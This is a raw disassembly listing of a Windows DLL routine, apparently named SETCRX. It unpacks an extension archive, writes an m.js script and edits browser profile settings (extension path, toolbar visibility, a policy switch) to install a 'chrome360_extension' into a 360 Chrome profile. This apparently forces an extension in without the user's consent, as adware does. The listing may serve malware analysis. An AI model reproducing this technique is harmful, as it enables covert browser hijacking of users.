push eax
lea eax, [ebp - 0x330]
push eax
call fcn.10015d00
push 0x100ee73e
push str.Extensions
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
push 0
lea ecx, [ebp - 0xa80]
call fcn.10014ec0
push 0x100ee717
push str.sync360
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0xa
call fcn.10015d00
lea ecx, [ebp - 0x330]
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001fed0
sub ecx, esi
lea eax, [ebp - 0x330]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x330]
push eax
call fcn.10015d00
push 0x100ee503
push 0x100ee4f8
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
mov byte [ebp - 4], 5
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
mov esi, dword [ebp - 0xca8]
push 0x100ee16c
push esi
push dword [ebp - 0xc74]
call fcn.100ab670
push 0x104
lea eax, [ebp - 0x540]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x858]
push 0x104
push 0
push eax
call fcn.100b7060
lea edx, [ebp - 0x540]
add esp, 0xc
mov ecx, esi
sub edx, esi
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1001ff70
lea ecx, [ebp - 0x858]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [esi + ecx - 1], al
test al, al
jne 0x1001ff85
lea ecx, [ebp - 0x540]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001ffa0
mov eax, dword [str.crx.json]
mov dword [ecx], eax
mov eax, dword [0x100ee174]
mov dword [ecx + 4], eax
mov ax, word [0x100ee178]
mov word [ecx + 8], ax
lea ecx, [ebp - 0x858]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001ffd0
mov eax, dword [str.crx.7z]
mov dword [ecx], eax
mov eax, dword [0x100ee180]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10020b5c
lea ecx, [ebp - 0x540]
call fcn.1001a220
mov edi, eax
cmp edi, 0xa
jbe 0x10020b5c
lea eax, [ebp - 0x540]
push 0x100ee020
push eax
call fcn.100bed8c
add esp, 8
mov dword [ebp - 0xc74], eax
test eax, eax
je 0x10020b5c
lea esi, [edi + 0x3e8]
push esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0xc1c], eax
push esi
push 0
push eax
call fcn.100b7060
mov esi, dword [ebp - 0xc74]
add esp, 0xc
push esi
push edi
mov edi, dword [ebp - 0xc1c]
push 1
push edi
call fcn.100bfba1
push esi
call fcn.100bf0a9
add esp, 0x14
lea eax, [ebp - 0xa68]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0xbd8]
push 0x104
push 0
push eax
call fcn.100b7060
and dword [ebp - 0xc90], 0xfffffe00
add esp, 0xc
mov dword [ebp - 0xc8c], 0
mov dword [ebp - 0xc88], 0
mov dword [ebp - 0xc84], 0
push 0x100edcbc
push edi
mov byte [ebp - 4], 0xc
call fcn.100b6560
add esp, 8
test eax, eax
je 0x10020139
push 0x100edcbc
push edi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0xa80]
push eax
call fcn.10001670
mov ecx, dword [ebp - 0xc60]
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0xc30]
or eax, 2
mov dword [ebp - 0xc30], eax
mov dword [ebp - 0xc3c], eax
lea eax, [ebp - 0xc98]
push 1
push eax
lea eax, [ebp - 0xa80]
push eax
call fcn.1000b8f0
mov byte [ebp - 0xc11], 1
test al, al
jne 0x10020140
mov byte [ebp - 0xc11], 0
mov dword [ebp - 4], 0xc
mov eax, dword [ebp - 0xc30]
test al, 2
je 0x1002018b
mov edx, dword [ebp - 0xa6c]
cmp edx, 0x10
jb 0x1002018b
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10020181
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c88
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0xc11], 0
je 0x10020657
push 0x104
lea eax, [ebp - 0x960]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0xc98]
push 0x100ee1a0
push str.path
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x100201db
mov ecx, dword [ecx]
lea edx, [ebp - 0x960]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x100201e3
mov edx, dword [ebp - 0xa6c]
cmp edx, 0x10
jb 0x1002022a
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10020220
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c8d
push edx
push ecx
call fcn.100b4813
add esp, 8
mov esi, dword [ebp - 0xc64]
mov ecx, dword [ebp - 0xc28]
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x960], xmm0
movups xmm0, xmmword [esi + 0x10]
movups xmmword [ebp - 0x950], xmm0
call fcn.1001a080
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0xc98]
mov dword [ebp - 0xc28], eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x10020292
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xa68]
push 0x104
push eax
call fcn.100c3c1c
mov edx, dword [ebp - 0xa6c]
add esp, 0xc
cmp edx, 0x10
jb 0x100202e1
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100202d7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c92
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0xc98]
call fcn.10015d00
push 0x100ee747
push str.version
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1002031d
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xbd8]
push 0x104
push eax
call fcn.100c3c1c
mov edx, dword [ebp - 0xa6c]
add esp, 0xc
cmp edx, 0x10
jb 0x1002036c
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10020362
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c97
push edx
push ecx
call fcn.100b4813
add esp, 8
push 1
lea ecx, [ebp - 0xa80]
call fcn.10014ec0
push 0x100ee1ba
push str.browser_action_visible
lea ecx, [ebp - 0xc98]
mov byte [ebp - 4], 0x10
call fcn.10015d00
lea ecx, [ebp - 0xa80]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
push dword [ebp - 0xc9c]
lea ecx, [ebp - 0xcc0]
call fcn.10014df0
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0xc98]
mov byte [ebp - 4], 0x12
call fcn.10015d00
push 0x100ee1bf
push 0x100ee1bc
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xcc0]
call fcn.10015080
lea edx, [ebp - 0x960]
mov byte [ebp - 0xa78], 4
or dword [ebp - 0xa78], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0xa74], 0
mov dword [ebp - 0xa70], 0
mov dword [ebp - 0xa6c], 0
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x10020440
sub edx, ecx
lea ecx, [ebp - 0x960]
call fcn.100145d0
mov dword [ebp - 0xa80], eax
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0xc98]
mov byte [ebp - 4], 0x15
call fcn.10015d00
lea ecx, [ebp - 0xa80]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
lea eax, [ebp - 0xc98]
push eax
lea ecx, [ebp - 0xcc0]
call fcn.10014ef0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0x16
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push esi
mov ecx, eax
call fcn.10015fd0
lea ecx, [ebp - 0xcc0]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xcc0]
call fcn.10015080
mov byte [ebp - 0xa78], 0
and dword [ebp - 0xa78], 0xfffffeff
mov dword [ebp - 0xa74], 0
mov dword [ebp - 0xa70], 0
mov dword [ebp - 0xa6c], 0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0x18
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
push esi
lea ecx, [ebp - 0xcc0]
call fcn.10014df0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0x19
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
mov esi, eax
lea ecx, [ebp - 0xab8]
lea eax, [ebp - 0xcc0]
push eax
call fcn.10014ef0
mov ecx, esi
mov byte [ebp - 4], 0x1a
call fcn.10015800
push eax
mov ecx, esi
call fcn.10015980
lea ecx, [ebp - 0xab8]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xab8]
call fcn.10015080
lea ecx, [ebp - 0xcc0]
call fcn.10015080
push 0
lea ecx, [ebp - 0xab8]
call fcn.10014ec0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0x1b
call fcn.10015d00
push 0x100ee1ee
push str.policy
mov ecx, eax
call fcn.10015d00
push 0x100ee1f6
push str.switch
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xab8]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xab8]
call fcn.10015080
push dword [ebp - 0xc28]
call fcn.100bd905
add esp, 4
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xa88], 0x10
lea eax, [ebp - 0xa9c]
mov dword [ebp - 0xa8c], 0
lea ecx, [ebp - 0xaa0]
cmovae eax, dword [ebp - 0xa9c]
mov byte [eax], 0
lea eax, [ebp - 0xc58]
push eax
call fcn.100183f0
cmp byte [ebp - 0xa82], 0
jne 0x100206b0
push 0x100ed634
lea ecx, [ebp - 0xa9c]
call fcn.100015b0
lea eax, [ebp - 0xa9c]
push eax
lea ecx, [ebp - 0xad0]
call fcn.1000e910
push 0x100ee038
push dword [ebp - 0xc24]
mov byte [ebp - 4], 0x1c
call fcn.100bed8c
mov edx, dword [ebp - 0xabc]
lea ecx, [ebp - 0xad0]
add esp, 8
mov esi, eax
cmp edx, 0x10
cmovae ecx, dword [ebp - 0xad0]
lea eax, [ecx + 1]
mov dword [ebp - 0xc28], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10020700
sub ecx, dword [ebp - 0xc28]
lea eax, [ebp - 0xad0]
push esi
cmp edx, 0x10
push 1
cmovae eax, dword [ebp - 0xad0]
push ecx
push eax
call fcn.100befdb
push esi
call fcn.100bf0a9
add esp, 0x14
push 0x27f
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
cmp dword [ebx + 0x14], 0
je 0x100209c6
push 0x286
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.100b7060
add esp, 0x14
lea eax, [ebp - 0x228]
push dword [ebp - 0xc24]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x228]
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100207a0
mov eax, dword [str.Extensions_]
mov dword [ecx], eax
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
push 0x28c
push str._DEBUGINFO__SETCRX__line_d__n
mov byte [ecx + 0xc], al
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc98]
push 0x100ee1a0
push str.path
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x100209a2
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0xc98]
call fcn.10015d00
lea ecx, [ebp - 0xab8]
push ecx
mov ecx, eax
call fcn.10015330
mov edx, eax
cmp dword [edx + 0x14], 0x10
jb 0x10020827
mov edx, dword [edx]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10020830
lea edi, [ebp - 0x228]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10020840
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0xaa4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x10
jb 0x10020890
mov ecx, dword [ebp - 0xab8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10020886
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c9c
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x291
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
lea ecx, [ebp - 0x228]
call fcn.1001a270
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x858]
push eax
push 0x294
push str._DEBUGINFO__SETCRX__line_d_crx7zpath_s_pluginpath_s__n
call fcn.100043d0
add esp, 0x18
lea eax, [ebp - 0x228]
push 0x100ee16c
push eax
lea eax, [ebp - 0x858]
push eax
call fcn.100ab670
lea eax, [ebp - 0x228]
push eax
push str.un7zfile__pluginpath___s_n
call fcn.100043d0
lea eax, [ebp - 0x228]
push eax
call fcn.100bd9ca
add esp, 0xc
mov esi, eax
push 0x298
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [esi - 1]
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10020920
mov eax, dword [str.m.js]
mov dword [ecx], eax
mov ax, word [0x100ee294]
push 0x29b
push str._DEBUGINFO__SETCRX__line_d__n
mov word [ecx + 4], ax
call fcn.100043d0
cmp dword [0x100fbbbc], 0x10
mov ecx, 0x100fbba8
push dword [ebp - 0xca0]
cmovae ecx, dword [0x100fbba8]
mov eax, 0x100fbb90
cmp dword [0x100fbba4], 0x10
mov edx, 2
push ecx
cmovae eax, dword [0x100fbb90]
mov ecx, esi
push eax
push dword [ebp - 0xc64]
call fcn.10019ec0
push 0x29e
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov edi, dword [ebp - 0xc1c]
add esp, 0x20
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x2a1
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
jmp 0x10020af3
push 0x104
lea eax, [ebp - 0x648]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x750]
push 0x104
push 0
push eax
call fcn.100b7060
mov esi, dword [ebp - 0xc24]
lea eax, [ebp - 0x648]
add esp, 0xc
push esi
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.chrome360_extension
lea eax, [ebp - 0x648]
push 0x104
push eax
call fcn.100c3c76
lea ecx, [ebp - 0xa68]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10020a40
sub ecx, edx
je 0x10020af3
lea ecx, [ebp - 0xbd8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10020a58
sub ecx, edx
je 0x10020af3
mov edx, dword [ebp - 0xc64]
lea eax, [ebp - 0xa68]
push ecx
push eax
lea eax, [ebp - 0xbd8]
push eax
lea ecx, [ebp - 0x648]
call fcn.1001c1c0
add esp, 0xc
lea eax, [ebp - 0x750]
push esi
push 0x104
push eax
call fcn.100c3c1c
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x750]
add esp, 0xc
push eax
call esi
lea eax, [ebp - 0x750]
push eax
call esi
push str.chrome360_extension
lea eax, [ebp - 0x750]
push 0x104
push eax
call fcn.100c3c76
add esp, 0xc
lea eax, [ebp - 0x750]
push 0
push eax
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._DEBUGINFO__SETCRX__chrome360_extension_add___n
call fcn.100043d0
add esp, 4
push edi
call fcn.100bd905
mov edx, dword [ebp - 0xabc]
add esp, 4
cmp edx, 0x10
jb 0x10020b36
mov ecx, dword [ebp - 0xad0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10020b2c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020ca1
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0xc98]
mov dword [ebp - 0xac0], 0
mov dword [ebp - 0xabc], 0xf
mov byte [ebp - 0xad0], 0
call fcn.10015080
push dword [ebp - 0xc64]
call fcn.100bd905
add esp, 4
push dword [ebp - 0xc9c]
call fcn.100bd905
add esp, 4
push dword [ebp - 0xca4]
call fcn.100bd905
add esp, 4
lea ecx, [ebp - 0xc70]
mov edi, 1
call fcn.1000a810
jmp 0x10020b9a
xor edi, edi
mov esi, dword [ebp - 0xc60]
test esi, esi
je 0x10020bb6
mov ecx, esi
call fcn.1000a490
push 0x74
push esi
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0xaa0]
call fcn.10017a80
lea ecx, [ebp - 0xc58]
call fcn.10015080
push dword [ebp - 0xc20]
call fcn.100bd905
mov esi, dword [ebp - 0xc24]
add esp, 4
jmp 0x10020be9
xor edi, edi
jmp 0x10020be9
or edi, 0xffffffff
push 0x2e9
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
cmp dword [ebx + 0x14], 0
je 0x10020c4c
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
dec esi
mov al, byte [esi + 1]
lea esi, [esi + 1]
test al, al
jne 0x10020c17
mov eax, dword [str.Application]
mov ecx, dword [ebp - 0xc24]
mov dword [esi], eax
mov eax, dword [0x100ee7ec]
mov dword [esi + 4], eax
mov eax, dword [0x100ee7f0]
mov dword [esi + 8], eax
mov dl, byte [0x100ee7f4]
mov byte [esi + 0xc], dl
call fcn.1001e8d0
push 0x2f3
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100b47d2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
int3